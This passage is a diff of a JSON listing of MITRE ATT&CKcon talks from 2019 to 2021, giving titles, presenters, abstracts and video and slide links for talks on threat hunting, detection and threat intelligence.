"https://www.youtube.com/watch?v=dEORNlCS7xc&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=15" + }, + { + "title": "What’s a MITRE with Your Security?", + "presenters": [ + { + "names": [ + "Matt Snyder" + ], + "organization": "VMWare" + } + ], + "description": "The market for Security products is flooded with vendors offering all sorts of solutions, and organizations are spending a record amount of money defending their environments. Nevertheless, an increasing number of breaches are reported each year, resulting in organizations spending millions of dollars to remediate them. The Security industry responds with more products, all offering to stop the next breach, and the cycle continues. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Matt discusses what VMware is doing internally to address this fundamental flaw in the Security industry and how they are leveraging the MITRE ATT&CK framework to reshape how we think about security.", + "video": "https://www.youtube.com/watch?v=lBVKLTbR12k&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=16", + "slides": "https://www.slideshare.net/attackcon2018/whats-a-mitre-with-your-security" + }, + { + "title": "Putting the PRE into ATT&CK", + "presenters": [ + { + "names": [ + "Jamie Williams", + "Mike Hartley" + ], + "organization": "MITRE" + } + ], + "description": "In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020 Jamie Williams and Mike Hartley from MITRE discuss the process for merging PRE-ATT&CK and adding two new tactics to Enterprise ATT&CK - Reconnaissance and Resource Development.", + "video": "https://www.youtube.com/watch?v=M_uG_hlmTcA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=17", + "slides": "https://www.slideshare.net/attackcon2018/putting-the-pre-into-attack" + }, + { + "title": "Helping Small Companies Leverage CTI with an Open Source Threat Mapping", + "presenters": [ + { + "names": [ + "Valentina Palacín" + ], + "organization": "Senior Cyber Threat Intelligence Analyst" + } + ], + "description": "

No one can deny the tremendous impact that ATT&CK had on the cybersecurity industry, nor the usefulness of having a good Threat Library at your disposal. But the question Valentina gets asked over and over by people from small companies is always the same: “How could I leverage threat intelligence using ATT&CK with limited time and resources?” And so far, there hasn't been a good answer. That’s why she decided to come up with the Threat Mapping Catalogue (TMC), a tool that combines the power of the mappings already available in the ATT&CK website, TRAM and the ATT&CK Navigator, to better process, consume and incorporate new mappings while organizing them around different categories.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", + "video": "https://www.youtube.com/watch?v=3R3cwP3yFK4&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=7", + "slides": "https://www.slideshare.net/attackcon2018/helping-small-companies-leverage-cti-with-an-open-source-threat-mapping" + }, + { + "title": "From Theory to Practice: How My ATT&CK Perspectives Have Changed", + "presenters": [ + { + "names": [ + "Katie Nickels" + ], + "organization": "Red Canary" + } + ], + "description": "

Good analysts (and good human beings) change their minds based on new information. In this presentation, Katie will share how her perspectives on ATT&CK have changed since moving from ATT&CK team member to ATT&CK end-user. She will discuss how her ideas about coverage, procedures, and detection creation have evolved and why those perspectives matter. Katie will also share practical examples from observed threats to help explain the nuances of her perspectives. Attendees should expect to leave this presentation with a better understanding of how to handle challenges they’re likely to face when navigating their own ATT&CK journey.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", + "video": "https://www.youtube.com/watch?v=IWA0T-GpQDk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=8", + "slides": "https://www.slideshare.net/attackcon2018/from-theory-to-practice-how-my-attack-perspectives-have-changed" + }, + { + "title": "Sharpening Your Threat Hunting Program with ATT&CK Framework", + "presenters": [ + { + "names": [ + "Hieu Tran" + ], + "organization": "FPT Cybersecurity Division" + } + ], + "description": "

No matter how sophisticated and thorough your security precautions may be, you cannot assume your security measures are impenetrable. This is why you need a threat hunting program in place. But how can we implement a proper threat hunting program and run it efficiently? In this talk, we will uncover how to sharpen your threat hunting strategy by leveraging ATT&CK. Ultimately, we’ll be demonstrating how effectively employing the hunting methodology in the real-world battlefield, fighting against well-known cyber espionage actors who strongly focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", + "video": "https://www.youtube.com/watch?v=9nUNuwiN52s&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=9", + "slides": "https://www.slideshare.net/attackcon2018/sharpening-your-threathunting-program-with-attack-framework" + }, + { + "title": "Using ATT&CK To Create Cyber DBTs For Nuclear Power Plants", + "presenters": [ + { + "names": [ + "Jacob Benjamin" + ], + "organization": "Dragos" + } + ], + "description": "

Design Basis Threat (DBT) is a concept introduced by the Nuclear Regulatory Commission (NRC). It is a profile of the type, composition, and capabilities of an adversary. DBT is the key input nuclear power plants use for the design of systems against acts of radiological sabotage and theft of special nuclear material. The NRC expects its licensees, nuclear power plants, to demonstrate that they can defend against the DBT. Currently, cyber is included in DBTs simply as a prescribed list of IT centric security controls. Using MITRE’s ATT&CK framework, Cyber DBTs can be created that are specific to the facility, its material, or adversary activities.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", + "video": "https://www.youtube.com/watch?v=xbnSuKTMkKo&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=10", + "slides": "https://www.slideshare.net/attackcon2018/using-attack-to-create-cyber-dbts-for-nuclear-power-plants" + }, + { + "title": "What’s New with ATT&CK for ICS?", + "presenters": [ + { + "names": [ + "Otis Alexander" + ], + "organization": "MITRE" + } + ], + "description": "

Otis Alexander is a Principal Cyber Security Engineer at the MITRE Corporation and has worked in the areas of security engineering and research, analytic development, and adversary modeling and emulation. Otis is a co-creator of ATT&CK for ICS and has been leading the project since its inception. He also leads an effort to bring MITRE ATT&CK Evaluations to ICS security vendors providing anomaly and threat detection solutions. He advocates for network and host visibility in operational technology environments to increase the situational awareness of defenders.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", + "video": "https://www.youtube.com/watch?v=_GZwY-9QyFk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=11", + "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attack-for-ics" + }, + { + "title": "Measure What Matters: How to Use ATT&CK to Do the Right Things in the Right Order", + "presenters": [ + { + "names": [ + "Daniel Wyleczuk-Stern" + ], + "organization": "Snowflake" + } + ], + "description": "

Cyber security is inherently a function of risk management. Risk management is the identification, evaluation, and prioritization of risks followed by the effort to reduce those risks in a coordinated and economical manner (thanks wikipedia!). In this talk, Daniel will be going over some strategies for measuring and prioritizing your cyber risks using MITRE ATT&CK . He'll discuss some lessons learned in atomic testing of techniques vs attack chaining as well as what to measure and how to make decisions with that data.

This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.

", + "video": "https://www.youtube.com/watch?v=XpuAnF5TLVA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=2", + "slides": "https://www.slideshare.net/attackcon2018/measure-what-matters-how-to-use-mitre-attack-to-do-the-right-things-in-the-right-order" + }, + { + "title": "ATT&CKers Think in Graphs", + "presenters": [ + { + "names": [ + "Valentine Mairet" + ], + "organization": "McAfee" + } + ], + "description": "

The MITRE ATT&CK framework is the industry standard to dissect cyberattacks into used techniques. At McAfee, all attack information is disseminated into different categories, including ATT&CK techniques. What results from this exercise is an extensive repository of techniques used in cyberattacks that goes back many years. Much can be learned from looking at historical attack data, but how can we piece all this information together to identify new relationships between threats and attacks? In her recent efforts, Valentine has embraced analyzing ATT&CK data in graphical representations. One lesson learned is that it is not just about merely mapping out attacks and techniques used into graphs, but the strength lies in applying different algorithms to answer specific questions. In this presentation, Valentine will showcase the results and techniques obtained from her research journey using graph and graph algorithms.

This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.

", + "video": "https://www.youtube.com/watch?v=2MBcGMSBC-U&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=3", + "slides": "https://www.slideshare.net/attackcon2018/attackers-think-in-graphs-building-graphs-for-threat-intelligence" + }, + { + "title": "ATT&CK-Onomics: Exploring the Economics Behind Techniques Used By Adversaries", + "presenters": [ + { + "names": [ + "Gert-Jan Bruggink" + ], + "organization": "FalconForce" + } + ], + "description": "

Adversaries are humans as well. They have objectives, deadlines and resources for programming.

In a sense, very similar to corporations grounded in the economics of effort vs time vs results. Now understanding techniques is one thing, taking it a step further and understanding what the economic impact is of using certain techniques is another. Developing tools takes time. For example, developing a custom process injection module might take days or weeks to develop, where using an open source tool could prevent extensive development costs incurred.

This talk explores the economic considerations for defending against techniques used by adversaries. It explores fundamental considerations all referenced to MITRE’s ATT&CK framework. The objective of this talk is to inspire defensive strategies designed to impact cost incurred by adversaries to perform compromises.

This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.

", + "video": "https://www.youtube.com/watch?v=gmqs10b97jw&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=4", + "slides": "https://www.slideshare.net/attackcon2018/attackonomics-attacking-the-economics-behind-techniques-used-by-adversaries" + }, + { + "title": "State of the ATT&CK ", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE" + } + ], + "description": "In this presentation from the MITRE ATT&CKcon Power Hour held on January 14, 2021, MITRE ATT&CK lead Adam Pennington gives an update on the current and future state of the MITRE ATT&CK framework.", + "video": "https://www.youtube.com/watch?v=USDHmKiLNJM&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=5", + "slides": "https://www.slideshare.net/attackcon2018/state-of-the-attack" + } ] -}, { + }, + { "date": "October 2019", "title": "ATT&CKcon 2.0", "banner_img": "/theme/images/attackcon2-banner.png", "sponsors_img_list": [ - "/theme/images/attackcon2-sponsors/ATTACKIQ.png", - "/theme/images/attackcon2-sponsors/CISCO.png", - "/theme/images/attackcon2-sponsors/CrowdstrikeLogo.png", - "/theme/images/attackcon2-sponsors/Cybereason.png", - "/theme/images/attackcon2-sponsors/Digital-Shadows.png", - "/theme/images/attackcon2-sponsors/Endgame_Logo.png", - "/theme/images/attackcon2-sponsors/McAfee.png", - "/theme/images/attackcon2-sponsors/Microsoft.png", - "/theme/images/attackcon2-sponsors/Praetorian-logo.png", - "/theme/images/attackcon2-sponsors/Red_Canary.png", - "/theme/images/attackcon2-sponsors/SafeBreachLogo.png", - "/theme/images/attackcon2-sponsors/Syncurity-Logo.png", - "/theme/images/attackcon2-sponsors/Sycthe-logo.png", - "/theme/images/attackcon2-sponsors/TREND-Micro.png", - "/theme/images/attackcon2-sponsors/Threat_Quotient.png", - "/theme/images/attackcon2-sponsors/VMRAY.png", - "/theme/images/attackcon2-sponsors/XMCyberv2.png" + "/theme/images/attackcon2-sponsors/ATTACKIQ.png", + "/theme/images/attackcon2-sponsors/CISCO.png", + "/theme/images/attackcon2-sponsors/CrowdstrikeLogo.png", + "/theme/images/attackcon2-sponsors/Cybereason.png", + "/theme/images/attackcon2-sponsors/Digital-Shadows.png", + "/theme/images/attackcon2-sponsors/Endgame_Logo.png", + "/theme/images/attackcon2-sponsors/McAfee.png", + "/theme/images/attackcon2-sponsors/Microsoft.png", + "/theme/images/attackcon2-sponsors/Praetorian-logo.png", + "/theme/images/attackcon2-sponsors/Red_Canary.png", + "/theme/images/attackcon2-sponsors/SafeBreachLogo.png", + "/theme/images/attackcon2-sponsors/Syncurity-Logo.png", + "/theme/images/attackcon2-sponsors/Sycthe-logo.png", + "/theme/images/attackcon2-sponsors/TREND-Micro.png", + "/theme/images/attackcon2-sponsors/Threat_Quotient.png", + "/theme/images/attackcon2-sponsors/VMRAY.png", + "/theme/images/attackcon2-sponsors/XMCyberv2.png" ], "presentations": [ - { - "title": "Welcome", - "presenters": [{ - "names": ["Katie Nickels"], - "organization": "MITRE" - }], - "description": "ATT&CK Threat Intelligence Lead Katie Nickels welcomes attendees and introduces the members of the ATT&CK team.", - "video": "https://youtu.be/Xkzv53j39ug?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" - }, - { - "title": "The Friends We Made Along the Way, Keynote Address", - "presenters": [{ - "names": ["Toni Gidwani"], - "organization": "Google" - }], - "description": "In the keynote from ATT&CKcon 2.0, Toni Gidwani from Google’s Threat Analysis Group presents \"The Friends We Made Along the Way.\" The talk focuses on the purpose of intelligence, to create a decision advantage, and the partnerships that are necessary to achieve that purpose.", - "video": "https://youtu.be/ba5jh8uhTBU?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-keynote-address-the-friends-we-made-along-the-way-toni-gidwani-google" - }, { - "title": "State of the ATT&CK", - "presenters": [{ - "names": ["Blake Strom"], - "organization": "MITRE" - }], - "description": "MITRE ATT&CK Lead Blake Strom updates the community on what’s new in ATT&CK since ATT&CKcon 2018 and some of what to expect in the coming year. This talk includes details on ATT&CK for Cloud, the new Impact Tactic, structured mitigations, and the upcoming shift to sub-techniques.", - "video": "https://youtu.be/qAPC4NVJvrI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-state-of-the-attck-blake-strom-mitre-193680470" - }, { - "title": "Using Threat Intelligence to Focus ATT&CK Activities", - "presenters": [{ - "names": ["David Westin", "Andy Kettell"], - "organization": "Nationwide" - }], - "description": "In October 2018, Nationwide began its MITRE ATT&CK journey. Nationwide looked at a number of different approaches to getting started, but it wasn’t until they prioritized efforts based on threat actors likely to target the finance/insurance industry that things started to click. Ultimately, Nationwide focused on 27 high concern threat actors targeting their industry, reducing the overall number of techniques from 240+ to 91. With this manageable chunk of techniques, Nationwide was able to test, analyze, and provide recommendations for improving its detection and mitigation capabilities. Nationwide is continuing to keep threat actor focus at the heart of its ATT&CK efforts, leading to prioritization of remediation actions, integration into penetration testing, and selection of security tools.", - "video": "https://youtu.be/V--wxuSEMD0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-using-threat-intelligence-to-focus-attck-activities-david-westin-and-andy-kettell-nationwide" - }, { - "title": "Prioritizing ATT&CK Informed Defenses the CIS Way", - "presenters": [{ - "names": ["Philippe Langlois"], - "organization": "Verizon DBIR" - }, { - "names": ["Joshua Franklin"], - "organization": "Center for Internet Security" - }], - "description": "In a world of limited resources, organizations have to be strategic and meticulous in their planning and selection of security controls and the MITRE ATT&CK model has become an important piece for categorizing and understanding adversary techniques and contextualizing our own defenses. However, there still underlies a difficult question, where should organizations start and how should they prioritize their cybersecurity efforts? Join CIS as we explore our attempt to tackle this problem through the use of our community, content and real-world threat data collected as part of the Multi-State Information Sharing and Analysis Center (MS-ISAC). Participants should look forward to learning how to prioritize their security efforts and leverage the process for their own data and threats.", - "video": "https://youtu.be/pHUnuNb6gGs?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-attck-informed-defenses-the-cis-way-philippe-langlois-verizon-and-joshua-franklin-cis" - }, { - "title": "Alertable Techniques for Linux using ATT&CK", - "presenters": [{ - "names": ["Tony Lambert"], - "organization": "Red Canary" - }], - "description": "Community members continually ask, should I have detection capabilities across every technique in ATT&CK? This question inevitably leads to the same conclusion that not every technique is alertable and not all of them provide the same value for immediate detection. In this session we’ll discuss the concept of alertable detections using Linux ATT&CK techniques as a case study. We’ll introduce decision criteria we’ve learned through experience to illustrate the challenges, and we’ll recommend specific techniques that work well with an alert-driven workflow.", - "video": "https://youtu.be/7X6Pjtx4Y8M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-alertable-techniques-for-linux-using-attck-tony-lambert-red-canary-193702628" - }, { - "title": "ATT&CK Updates – TRAM", - "presenters": [{ - "names": ["Jackie Lasky", "Sarah Yoder"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Jackie Lasky and Sarah Yoder covering Threat Report ATT&CK Mapping (TRAM).", - "video": "https://youtu.be/jVkMd9mAE-U?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-tram-jackie-lasky-and-sarah-yoder-mitre-193677940" - }, { - "title": "Raiders of the MITRE Framework: How to Build Your Own Threat Library", - "presenters": [{ - "names": ["Valentina Palacin", "Ruth Esmeralda Barbacil"], - "organization": "Deloitte" - }], - "description": "It's the year 2019 and the internet has been around long enough to be filled with what seems to be \"ancient\" data. Digging through, classifying and analyzing everything sometimes makes you feel a lot like Indiana Jones searching for the right clues in a moving puzzle. But how could you move through the caves without getting buried under piles of data rubble? How might anyone revisit and study the data from the past to transform it into actionable information for the present? In this talk we are going to show you how a threat intel Indiana Jones analyst should tackle these issues in order to find the treasure of the Threat Library. We will show you how we used the MITRE ATT&CK Framework as our book of secrets for turning dusty old Internet artifacts into a library of actionable Threat Intelligence.", - "video": "https://youtu.be/AsSAsBdkns0?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-raiders-of-the-mitre-framework-how-to-build-your-own-threat-library-valentina-palacin-and-ruth-esmerelda-barbacil-deloitte" - }, { - "title": "Climbing the ATT&CK Ladder: How a Threat Hunting Team Has Upgraded Its Use of ATT&CK", - "presenters": [{ - "names": ["Karl Scheuerman", "Piotr Wojtyla"], - "organization": "CrowdStrike" - }], - "description": "CrowdStrike’s OverWatch threat hunting team has continued to mature in its use of the ATT&CK framework to categorize and track targeted adversary behavior. This presentation will build on our talk from last year’s ATT&CKcon, where we shared tactic/technique trends and unique examples observed in the wild. Since that time, we have taken a number of steps to enhance our usage of ATT&CK, including:

By using practices like those outlined above, we have been able to continue building what is likely the most comprehensive and detailed library of targeted intrusion data from the wild that is mapped to ATT&CK. As such, the presentation will also share significant trends and techniques from the intrusions we’ve analyzed over the past year.", - "video": "https://youtu.be/hAsKp43AZmM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" - }, { - "title": "From Susceptible to ATT&CK: A Threat Hunting Story", - "presenters": [{ - "names": ["Chris Thayer"], - "organization": "Mastercard" - }], - "description": "The story of one man's crusade to convince the Senior Management of a fortune 500 company that security resources were needed beyond the perimeter, and the role ATT&CK played in those decisions. This talk documents the creation and persuasion required to create a successful threat hunting program at an enterprise level, and how the Mitre ATT&CK framework made this possible for one investigator, in his spare time, to prove the program's worth to senior management within 1 year of creation.", - "video": "https://youtu.be/bWB6qWoFT_M?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-from-susceptible-to-attck-a-threat-hunting-story-chris-thayer-mastercard-193701967" - }, { - "title": "ATT&CK Updates – Sightings", - "presenters": [{ - "names": ["John Wunder"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own John Wunder covering ATT&CK Sightings.", - "video": "https://youtu.be/OKx9f7QrFBQ?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-sightings-john-wunder-mitre-193678381" - }, { - "title": "Zeek-based ATT&CK Metrics & Gap Analysis", - "presenters": [{ - "names": ["Allan Thomson"], - "organization": "LookingGlass Cyber Solutions" - }], - "description": "Today many organizations are using Bro (newly named Zeek) for network security monitor as it provides a powerful network analysis framework. This presentation will describe how to leverage Zeek to report on ATT&CK TTPs, raw events and other detectable activities. Key take-aways include how to report on sightings and occurrences of ATT&CK TTPs and events providing both metrics and gap analysis to inform security operations teams on where their defense may require improvement.", - "video": "https://youtu.be/roO5ZMxYDRM?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-zeekbased-attck-metrics-and-gap-analysis-allan-thomson-looklingglass-cyber-solutions" - }, { - "title": "attckr: A Toolkit for Analysis & Visualization of ATT&CK Incident Data for Service Providers & Organizations", - "presenters": [{ - "names": ["Bob Rudis"], - "organization": "Rapid7" - }], - "description": "The ATT&CK framework provides a standardized way for organizations to record and share attacker techniques used at each stage in attacker campaigns. Having and sharing this discrete, normalized attacker behavior is great, but these normalized bundles of incident events can also be used to identify areas of improvement in both incident response teams as well as by vendors who provide tools/solutions to triage and manage incidents.

This talk will introduce {attckr}: an R package and application that provides programmatic, command-line, and interactive tools to analyze and visualize incident ATT&CK metrics. Attendees will see real-life (i.e. using real, anonymized incident data) examples of how to look across an ATT&CK incident corpus to identify trends (or outliers), support the development of ATT&CK incident baseline metrics, and develop reports and visualizations to assist in communicating operational performance, threat event frequency & type distributions for risk analysis, and identification of strengths and weaknesses in detection capability.", - "video": "https://www.youtube.com/watch?v=iayII8CCGUI&list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&index=18&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attckr-a-toolkit-for-analysis-and-visualization-of-attck-incident-data-for-service-providers-and-organizations-bob-rudis-rapid7" - }, { - "title": "MITRE ATT&CK Assessment from a Data Perspective", - "presenters": [{ - "names": ["Olaf Hartong"], - "organization": "Deloitte" - }], - "description": "MITRE ATT&CK has quickly become the industry standard for referencing techniques. All though the framework is a great and valuable asset it is still lacking actionable detail on may levels to most people. I've bridged that gap by building a relatively simple assessment toolkit to visualize your potential coverage from the data already present in your environment, your mitigative measures and your detection content. The toolkit will help you focus your efforts based on your data and your goal.", - "video": "https://youtu.be/vTvUrY7jE5k?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-coverage-assessment-from-a-data-perspective-olaf-hartong-deloitte-193702186" - }, { - "title": "Threat-Informed Defense: Where do we go from here?", - "presenters": [{ - "names": ["Richard Struse"], - "organization": "MITRE" - }], - "description": "Richard Struse explores the concept of a threat-informed defense and talks about ways of moving the cyber security community forward.", - "video": "https://youtu.be/IKogtrsN214?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-threat-informed-defense-where-do-we-go-from-here-richard-struse-mitre" - }, { - "title": "AMITT: ATT&CK-based Standards for Misinformation Threat Sharing", - "presenters": [{ - "names": ["Sara-Jayne Terp", "John Gray"], - "organization": "Credibility Coalition MisinfoSec Working Group" - }], - "description": "State actors, private influence operators and grassroots groups are exploiting the openness and reach of the Internet to manipulate populations at a distance. They are extending a decades-long struggle for “hearts and minds” via propaganda, influence operations and information warfare, often in the form of coordinated incidents that are part of longer-timescale narrative-based campaigns.

The Credibility Coalition is an interdisciplinary community committed to addressing the proliferation and amplification of misinformation online, through transparent and collaborative research. Its MisinfoSec working group develops information security-based standards to promote a more formal and rigorous treatment of 1) detecting misinformation-based attacks and 2) devising methods to protect against misinformation-based attacks. Specifically, we have adapted and extended frameworks used to describe information security incidents, for use in ISACs, ISAOs and other groups sharing misinformation threats and responses.

In this talk, we discuss misinformation and why stage-based frameworks like ATT&CK are appropriate for it. We describe the AMITT (Adversarial Misinformation and Influence Tactics and Techniques) misinformation response framework and its roots in and deliberate compatibility with ATT&CK, its creation, relationships with other models, its components (including ways, means, and ends to achieve influence goals) and potential uses.", - "video": "https://youtu.be/vIxqd0Qt_D8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-amitt-attckbased-standards-for-misinformation-threat-sharing-sara-terp-and-john-gray-credibility-coalition-193687162" - }, { - "title": "Flashback with ATT&CK: Exploring Malware History with ATT&CK (2003-2018)", - "presenters": [{ - "names": ["Kris Oosthoek"], - "organization": "Delft University of Technology" - }], - "description": "Attackers keep innovating their TTPs to circumvent established defenses, so gaining insight into attacker innovation is fundamental. Our Twitter feeds are saturated with helpful reports daily, but how does this relate to trends and developments within the threat ecosystem as a whole? Take a step back, relax and get an ATT&CK-based overview of 15 years TTP evolution to inform your defense.

This presentation will discuss ATT&CK techniques found in 950+ unique Windows malware families as part of an academic research project. With the malware harvested from an unbiased and reputable source, a representative view on 15 years of evolution in the malware field is ensured. For each ATT&CK tactic, the talk provides insight into trends and shifts in real-world adversary behavior. It will also highlight how a malware analysis automation pipeline can introduce biases into your CTI and based on that, best practices on how ATT&CK can be used to ensure CTI accuracy. This entertaining presentation provides practical takeaways that inform and help prioritize your threat defense.", - "video": "https://youtu.be/v5CoPkeVQCI?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-flashback-with-attck-exploring-malware-history-with-attck-20032018-kris-oosthoek-delft-university" - }, { - "title": "Tell Tall Tales With ATT&CK!", - "presenters": [{ - "names": ["James Lerud"], - "organization": "Titania Solutions Group" - }], - "description": "Once upon a time there was a security expert with all kinds of ATT&CK data. There were Atomic tests, breach simulations, and metrics abound! Our hero knew he could mold the data to illustrate a story of triumph. He would deliver magnificent slides and graphs with color and shape that, even the dull c-suite would know he was great. This presentation will teach the audience how to torture ATT&CK data until it confesses. Manipulation of ordinal scales, dirty data, playing into biases, nothing is off limits if it makes us look good. Follow the advice here and you will be ready to tell tall tales with ATT&CK… or for the true hearted tell boring realistic stories.", - "video": "https://youtu.be/XVGXfFcUvYc?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tell-tall-tales-with-attck-james-lerud-titania-solutions-group-193686781" - }, { - "title": "ATT&CK Updates – ICS", - "presenters": [{ - "names": ["Otis Alexander"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Otis Alexander covering ATT&CK for ICS.", - "video": "https://youtu.be/a9-p4tMsp14?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-ics-otis-alexander-mitre-193601017" - }, { - "title": "Ready to ATT&CK? Bring Your Own Data (BYOD) and Validate Your Data Analytics!", - "presenters": [{ - "names": ["Roberto Rodriguez"], - "organization": "Cybersecurity Specialist" - }, { - "names": ["Jose Luis Rodriguez"], - "organization": "Student" - }], - "description": "\"How do we collect the right data for the detection of specific adversarial techniques?\" That is a very important and common question for organizations planning on leveraging ATT&CK for their defensive strategy. One approach might be reading the data sources metadata available per each technique in the ATT&CK framework. That is a good first step, and it is already helping organizations to integrate the framework with their current security controls. However, as you go deeper into the specific recommended data sources per technique, it is very important to understand that not every technique variation requires the same data sources. In addition, there needs to be a way to validate if what we are collecting aligns with the data analytics being created. In this talk, we will share our current experiences contributing to the \"Data Sources\" section of ATT&CK framework and the Cyber Analytics Repository (CAR) project. We will show how to use pre-captured datasets from our open source project named Mordor to expedite simulation of adversarial techniques and validation of data analytics. In addition, we will show how we leverage Jupyter Notebooks to develop and test data analytics from projects like CAR to finish the validation process and provide recommendations.", - "video": "https://youtu.be/eM0c_Gil-38?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-ready-to-attck-bring-your-own-data-byod-and-validate-your-data-analytics-roberto-rodriguez-aws-and-jose-rodriguez-nvcc" - }, { - "title": "Prioritizing Data Sources for Minimum Viable Detection", - "presenters": [{ - "names": ["Keith McCammon"], - "organization": "Red Canary" - }], - "description": "MITRE ATT&CK® is more than a glossary of security terminology that offers us a common language to communicate about threats. While each technique includes a description, it also includes a list of the requisite data sources necessary to observe an adversary leveraging that technique—transforming ATT&CK from a nebulous collection of definitions into a practical tool for improving detection coverage. However, in the same way that you can’t simply build alerts for every technique, you can’t gain access to every data source. How do you effectively prioritize data sources so that you are getting the best returns on your visibility investments?", - "video": "https://youtu.be/dnHdxlwqgME?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-prioritizing-data-sources-for-minimum-viable-detection-keith-mccammon-red-canary-193703088" - }, { - "title": "ATT&CK Updates – Controls Mapping", - "presenters": [{ - "names": ["Mike Long"], - "organization": "MITRE" - }], - "description": "Updates from the ATT&CK Team's very own Mike Long covering controls mapping.", - "video": "https://youtu.be/mdGWojl0Ay8?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-controls-mapping-mike-long-mitre" - }, { - "title": "The World’s Most Dangerous ATT&CKers", - "presenters": [{ - "names": ["Robert Lipovský"], - "organization": "ESET" - }], - "description": "As a research-oriented cybersecurity company that regularly discloses detailed analyses of cyberattacks to clients and/or the public, the introduction of MITRE ATT&CK as a common language to describe adversary techniques and tactics was certainly welcome.

We’ll begin our presentation by introducing exactly how and why we started using ATT&CK, providing examples of mappings in our research publications, as well as the role it plays in enhancing our EDR solutions. We’ll also describe our experience with contributing to the ATT&CK knowledge base.

The main part of the talk will be example-driven. Having played a key role in analyzing some of the most significant cyberattacks in history, we’ll go over the most interesting tactics, techniques, and procedures (TTPs) of the adversaries, mapping them to ATT&CK.

Specifically, we’ll analyze the TTPs of Sednit (a.k.a. APT28), the group reportedly responsible for the Democratic National Committee hack that affected the US 2016 elections, and Telebots (a.k.a. Sandworm), the group behind the first malware-driven electricity blackouts (BlackEnergy and Industroyer) and, the most damaging cyberattack ever (NotPetya).

